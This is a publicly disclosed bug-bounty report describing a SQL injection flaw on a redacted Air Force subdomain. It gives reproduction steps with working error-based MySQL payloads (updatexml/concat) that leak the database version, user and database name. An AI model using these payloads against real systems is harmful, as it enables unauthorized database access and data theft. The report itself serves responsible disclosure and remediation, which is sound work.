HexBrain

U.S. Dept Of Defense · Report #277380

SQL Injection on █████

Validstatus
highseverity
21upvotes
12 May 2022disclosed

How it was found

Background:

It looks like the patch for #231338 has been reverted and this subdomain is yet again vulnerable to SQL injection.

Summary:

An Airforce subdomain is vulnerable to SQL Injection because the application does not produce sufficient validation on user input. This allows an attacker to execute SQL queries.

Description:

The ███= parameter on https://███████/█████████ does not properly sanitize ' characters, allowing an attacker to execute SQL queries!

Impact

This could potentially expose sensitive information because an attacker could potentially dump the databases on this server!

Step-by-step Reproduction Instructions

1.) Open Firefox or any browser
2.) Visit `https://███████/██████████=' and updatexml(null,concat(0x0a,version()),null)-- [email protected]`
3.) You will see the MySQL version in the response => `██████████`

User - ███████ payload => https://████████/████████████=' and updatexml(null,concat(0x0a,user()),null)-- [email protected]

Database - ████ payload => https://██████/█████████████=%27%20and%20updatexml(null,concat(0x0a,database()),null)--%[email protected]

██████

Suggested Mitigation/Remediation Actions

Sanitize input!

Thanks!

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original